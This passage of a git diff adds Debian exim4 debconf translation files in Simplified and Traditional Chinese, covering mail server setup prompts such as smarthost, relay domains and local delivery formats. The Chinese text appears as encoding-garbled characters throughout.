+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4 4.67-1+SVN\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-12 00:36-0500\n"
+"Last-Translator: Ming Hua <minghua@rice.edu>\n"
+"Language-Team: Debian Chinese [GB] <debian-chinese-gb@lists.debian.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "删除缓冲目录中未投递的信件å—?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"有些存放在 Exim 的缓冲目录 /var/spool/exim4/input/ 中的 e-mail 信件尚未被投"
+"递。如果您å¸è½½ Exim,则直至 Exim 被é‡æ–°å®‰è£…为止,它们将一直ä¿æŒæœªè¢«æŠ•é€’的状"
+"æ€ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"如果ä¸åšè¿™ä¸€é€‰æ‹©ï¼Œç¼“冲目录将被ä¿ç•™ï¼Œè¿™æ ·æ—¥åŽé‡æ–°å®‰è£… Exim åŽï¼Œè¿™äº›çŽ°åœ¨ä»åœ¨é˜Ÿ"
+"列中的信件将å¯è¢«æŠ•é€’。"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "é‡æ–°é…ç½® exim4-config 而éžæœ¬è½¯ä»¶åŒ…"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 的设置被分出æ¥æ”¾åˆ°äº†ä¸“用软件包 exim4-config 中。è¦é‡æ–°è®¾ç½® Exim4,请使"
+"用“dpkg-reconfigure exim4-configâ€ã€‚"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "互è”网站;直接通过 SMTP å‘é€æˆ–接收信件"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "用 smarthost å‘信;通过 SMTP 或 fetchmail 接收信件"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "用 smarthost å‘信;无本地信件"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "仅在本地投递信件;无网络连接"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "现在ä¸è¿›è¡Œé…ç½®"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "邮件系统设置的常è§ç±»åž‹ï¼š"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "请选择一个最适åˆæ‚¨éœ€è¦çš„邮件æœåŠ¡å™¨è®¾ç½®ç±»åž‹ã€‚"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ä½¿ç”¨åŠ¨æ€ IP 地å€çš„系统,包括拨å·ç³»ç»Ÿï¼Œé€šå¸¸åº”该设置为将寄出的信件é€åˆ°å¦ä¸€å°ä¸»"
+"机,也就是“smarthostâ€ä¸Šæ¥å®ŒæˆæŠ•é€’工作。这是因为很多 Internet 上的邮件接收系统"
+"为了防止垃圾邮件,会å°é”ä»ŽåŠ¨æ€ IP 地å€å‘æ¥çš„邮件。"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ä½¿ç”¨åŠ¨æ€ IP 地å€çš„系统å¯ä»¥æŽ¥å—自己系统的内部信件,也å¯ä»¥å®Œå…¨ä¸æŠ•é€’任何本地信"
+"件 (root 和 postmaster 的信件除外)。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "您真的ä¸é…置邮件系统å—?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"在完æˆé‚®ä»¶ç³»ç»Ÿçš„é…置之å‰ï¼Œå®ƒå°†å¤„于故障状æ€å¹¶ä¸å¯ä½¿ç”¨ã€‚您å¯ä»¥æ—¥åŽå†æ‰‹åŠ¨é…置,"
+"或者以 root 身份执行“dpkg-reconfigure exim4-configâ€è¿›è¡Œé…置。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "系统邮件å称:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr "“邮件å称â€æ˜¯ä¸€ä¸ªåŸŸå,用于“识别â€(qualify) ä¸åŒ…å«åŸŸå的邮件地å€ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr "这个å称也被其它程åºæ‰€ä½¿ç”¨ã€‚它应该是å•ä¸€çš„完整域å (FQDN)。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"因此,如果本地主机的æŸä¸ªé‚®ä»¶åœ°å€æ˜¯ foo@example.org,则这一项的正确设置就应该"
+"是 example.org。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"如果开å¯äº†é‡å†™ (rewrite) 功能,此å称将ä¸ä¼šå‡ºçŽ°åœ¨å¯„出信件的“From:â€è¡Œä¸­ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "其它å¯æŽ¥æ”¶é‚®ä»¶çš„目的地å€ï¼š"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"请输入被此主机认为是以其自身为最终目的地å€çš„域å列表,用åŠè§’冒å·åˆ†éš”。这些域"
+"å通常被å«ä½œâ€œæœ¬åœ°åŸŸåâ€ã€‚本地主机å (${fqdn}) 和“localhostâ€ä¼šè¢«åŠ è¿›è¿™é‡Œç»™å‡ºçš„"
+"域å列表里。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"默认情况下,所有的域å都会被相åŒå¯¹å¾…。如果 a.example å’Œ b.example 都是本地域"
+"å,寄给 acc@a.example å’Œ acc@b.example 的信件将会被投递到åŒä¸€ä¸ªæœ€ç»ˆç›®çš„地。"
+"如果ä¸åŒçš„域å应被区别对待,您需è¦åœ¨ç¨åŽç¼–辑é…置文件。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "为下列域å进行邮件中转 (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"请输入一个此系统会进行邮件中转的域å列表,用åŠè§’冒å·åˆ†éš”。例如备用 MX 或邮件"
+"网关就需è¦æ­¤é¡¹è®¾ç½®ã€‚è¿™æ„味ç€æ­¤ç³»ç»Ÿä¼šæŽ¥æ”¶ä»Ž Internet 上任何地方å‘往这些域åçš„"
+"邮件,并按本地投递规则投递它们。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "请ä¸è¦åœ¨è¿™é‡ŒæåŠæœ¬åœ°åŸŸå。å¯ä»¥ä½¿ç”¨é€šé…符。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "为下列主机进行邮件中转 (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"请输入一个 IP 地å€èŒƒå›´åˆ—表,用åŠè§’冒å·åˆ†éš”。本系统将无æ¡ä»¶ä¸ºè¿™äº›åœ°å€ä¸­è½¬é‚®"
+"件,起到 smarthost 的作用。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"您应该使用标准的“地å€/长度â€æ ¼å¼ (例如 194.222.242.0/24 或 "
+"5f03:1200:836f::/48)。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "如果此系统ä¸åº”æˆä¸ºä»»ä½•å…¶å®ƒä¸»æœºçš„ smarthost,请将此列表置空。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "本地用户的å¯è§åŸŸå:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"您å¯ç”¨äº†åœ¨å¯„出的信件里éšè—本地邮件å称的选项。因此您需è¦æŒ‡æ˜Žä¸€ä¸ªåŸŸå,作为此"
+"系统为本地用户寄信时å‘信者地å€çš„域å部分。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "寄信使用的 smarthost çš„ IP 地å€æˆ–主机å:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"请输入此系统用作寄出信件 smarthost 的邮件æœåŠ¡å™¨çš„ IP 地å€æˆ–主机å。如果该 "
+"smarthost 仅接å—æ‚¨ä»Žéž TCP/25 端å£æ‰€å‘的信件,请在åŽé¢åŠ ä¸Šä¸¤ä¸ªå†’å·å’Œç«¯å£å· "
+"(例如 smarthost.example::587 或 192.168.254.254::2525)。IPv6 地å€éœ€è¦ä½¿ç”¨åŒå†’"
+"å·ã€‚"
+
+# I've added a trailing '/' to the path in the translation. (Ming)
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"如果该 smarthost è¦æ±‚身份验è¯ï¼Œè¯·å‚阅 /usr/share/doc/exim4-base/ 中 Debian 特"
+"有的 README 文件中关于设置 SMTP 验è¯çš„注æ„事项。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root 和 postmaster 邮件的接收者:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"寄给“postmasterâ€ã€â€œrootâ€ä»¥åŠå…¶å®ƒç³»ç»Ÿå¸æˆ·çš„邮件应被转å‘到实际系统管ç†å‘˜çš„普通"
+"用户å¸æˆ·ä¸‹ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr "如果此项被置空,这些邮件将被ä¿å­˜åœ¨ /var/mail/mail。但是ä¸æŽ¨è这样åšã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"注æ„:postmaster,å³é‚®ä»¶ç®¡ç†å‘˜çš„邮件应该在其目的主机上读å–,而ä¸åº”被转å‘到别"
+"处。因此这里列出的用户中至少è¦æœ‰ä¸€äººä¸æŠŠå…¶é‚®ä»¶é‡å®šå‘到其他机器。您å¯ä»¥ä½¿"
+"用“real-â€å‰ç¼€æ¥å¼ºåˆ¶è¿›è¡Œæœ¬åœ°æŠ•é€’。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "多个用户å需用åŠè§’空格分隔。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "è¦ç›‘å¬å…¥ç«™ SMTP 连接的 IP 地å€ï¼š"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"请输入一个由åŠè§’冒å·åˆ†éš”çš„ IP 地å€åˆ—表。Exim çš„ç›‘å¬ SMTP 的守护进程将会监å¬è¿™"
+"里列出的所有 IP 地å€ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr "空白值将使 Exim 监å¬æ‰€æœ‰ç½‘络接å£çš„ SMTP 入站连接。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"如果此系统åªé€šè¿‡ç±»ä¼¼ fetchmail 的本地æœåŠ¡æ¥æ”¶å–é‚®ä»¶ï¼Œæˆ–è€…æ‚¨ä½¿ç”¨çš„é‚®ä»¶ç¨‹åº "
+"(MUA) åªè·Ÿ localhost 交互 (而éžå’Œå…¶å®ƒä¸»æœº),那么建议您阻止外部连接访问本地 "
+"Exim。具体åšæ³•æ˜¯å°†æ­¤é€‰é¡¹è®¾å®šä¸º 127.0.0.1。这样就ç¦ç”¨äº†å¯¹å…¬å…±ç½‘络接å£çš„监å¬ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "ä¿æŒæœ€å° DNS 查询é‡å— (按需拔å·ï¼ŒDial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"当以普通模å¼è¿è¡Œæ—¶ï¼ŒExim 会在å¯åŠ¨ã€æŽ¥æ”¶ä¿¡ä»¶æˆ–投递信件的时候进行 DNS 查询。这"
+"æ ·åšä¾¿äºŽè®°å½•æ—¥å¿—,并使设置文件中尽å¯èƒ½å°‘地出现硬编ç å€¼ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"如果此系统并éžéšæ—¶éƒ½æœ‰ DNS 解æžæœåŠ¡ (例如系统是通过拨å·çº¿è·¯è¿žæŽ¥ Internet,并"
+"且是按需拨å·),这样åšå¯èƒ½ä¼šå¯¼è‡´æ‚¨ä¸å¸Œæœ›çœ‹åˆ°çš„结果。比如说,å¯åŠ¨ Exim 或者处ç†"
+"信件队列 (哪怕队列里é¢å¹¶æ²¡æœ‰ä¿¡ä»¶ç­‰å¾…投递) 都å¯èƒ½è§¦å‘一个昂贵的拨å·äº‹ä»¶ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"如果系统使用按需拨å·ï¼Œåº”选择此选项。如果系统一直有 Internet 连接,则ä¸åº”选择"
+"此选项。"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "邮件æœåŠ¡å™¨è®¾ç½®"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "将设置文件分拆æˆå°æ–‡ä»¶å—?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian çš„ exim4 软件包既å¯ä»¥ä½¿ç”¨â€œæœªåˆ†æ‹†è®¾ç½®â€ï¼Œå³å•ä¸ªè®¾ç½®æ–‡ä»¶ (/etc/exim4/"
+"exim4.conf.template);也å¯ä»¥ä½¿ç”¨â€œåˆ†æ‹†è®¾ç½®â€ï¼Œå³é€šè¿‡ /etc/exim4/conf.d/ 下的大"
+"约 50 个å°æ–‡ä»¶æ¥äº§ç”Ÿæœ€ç»ˆçš„设置文件。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"未分拆设置更适åˆå¯¹è®¾ç½®è¿›è¡Œå¤§é‡æ›´åŠ¨ï¼Œä¸€èˆ¬è€Œè¨€ä¹Ÿè¾ƒç¨³å®šã€‚分拆设置则æ供了一ç§èˆ’"
+"æœåœ°è¿›è¡Œå°‘é‡ä¿®æ”¹çš„方法,但也会比较脆弱,如果修改é…置内容时一ä¸å°å¿ƒå°±ä¼šå¯¼è‡´æ•…"
+"障。"
+
+# I've added a trailing '/' to the path in the translation. (Ming)
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"关于分拆设置和未分拆设置的更详细的讨论å¯å‚è§ /usr/share/doc/exim4-base/ 中 "
+"Debian 特有的 README 文件。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "è¦åœ¨å¯„出的邮件中éšè—本地邮件å称å—?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"寄出邮件的信头å¯ä»¥è¢«é‡å†™ï¼Œä»¥ä½¿é‚®ä»¶çœ‹èµ·æ¥æ˜¯åœ¨åˆ«çš„系统中生æˆã€‚如果åšè¿™ä¸€é€‰æ‹©ï¼Œ"
+"信头中 Fromã€Reply-Toã€Sender å’Œ Return-Path 里"
+"的“${mailname}â€ã€â€œlocalhostâ€å’Œâ€œ${dc_other_hostnames}â€å°†è¢«é‡å†™ã€‚"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ 中的 mbox æ ¼å¼"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "家目录中的 Maildir æ ¼å¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "本地信件的投递方å¼ï¼š"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim å¯ä»¥å°†æŠ•é€’到本地的信件以多ç§æ ¼å¼å‚¨å­˜ã€‚最常用的两ç§å‚¨å­˜æ ¼å¼æ˜¯ mbox å’Œ "
+"Maildir。使用 mbox æ ¼å¼æ—¶ï¼Œæ•´ä¸ªé‚®ä»¶å¤¹ä¸€èµ·å‚¨å­˜ä¸º /var/mail/ 中的一个文件。使"
+"用 Maildir æ ¼å¼æ—¶ï¼Œæ¯ä¸€å°ä¿¡ä»¶éƒ½åˆ†åˆ«å‚¨å­˜ä¸ºä¸€ä¸ª ~/Maildir/ 中的文件。"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"请注æ„,Debian 中的大多数邮件工具的默认设置都å‡å®šæœ¬åœ°ä¿¡ä»¶ä»¥ mbox æ ¼å¼æŠ•é€’。"
diff --git a/debian/po/zh_TW.po b/debian/po/zh_TW.po
new file mode 100644
index 0000000..6a0885d
--- /dev/null
+++ b/debian/po/zh_TW.po
@@ -0,0 +1,637 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4/debian\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2006-10-21 16:59+0800\n"
+"Last-Translator: Tetralet <tetralet@gmail.com>\n"
+"Language-Team: Debian-user in Chinese [Big5] <debian-chinese-big5@lists."
+"debian.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "是å¦æ¸…除在 spool 目錄中尚未éžé€ä¹‹ä¿¡ä»¶ï¼Ÿ"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"在 exim çš„ spool 目錄 /var/spool/exim4/input 中,還有一些郵件尚未éžé€ã€‚移除 "
+"Exim 將會導致它們åœæ­¢éžé€ç›´åˆ°é‡æ–°å®‰è£äº† Exim。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"如果沒有é¸å–這個é¸é …,那麼 spool 目錄將會被ä¿ç•™ä¸‹ä¾†ã€‚這將å…許在 queue 中的郵"
+"件å¯ä»¥åœ¨æ—¥å¾Œé‡æ–°å®‰è£ Exim 後å†é‡æ–°éžé€ã€‚"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "在é‡æ–°è¨­å®šæ™‚請替而使用 exim4-config 而ä¸æ˜¯æœ¬å¥—件"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 已將其設定程å¼åˆ†é›¢ç‚ºå¦ä¸€å€‹ç¨ç«‹å¥—件,exim4-config。如果您想è¦é‡æ–°è¨­å®š "
+"Exim4,請使用 dpkg-reconfigure exim4-config。"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "網際網路站å°ï¼›ç›´æŽ¥é€éŽ SMTP 來傳é€æŽ¥æ”¶éƒµä»¶"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "使用 smarthost 來傳é€éƒµä»¶ï¼›ä¸¦è—‰ç”± SMTP 或是 fetchmail 來接收郵件"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "使用 smarthost 來傳é€éƒµä»¶ï¼›ä¸”無本機郵件"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
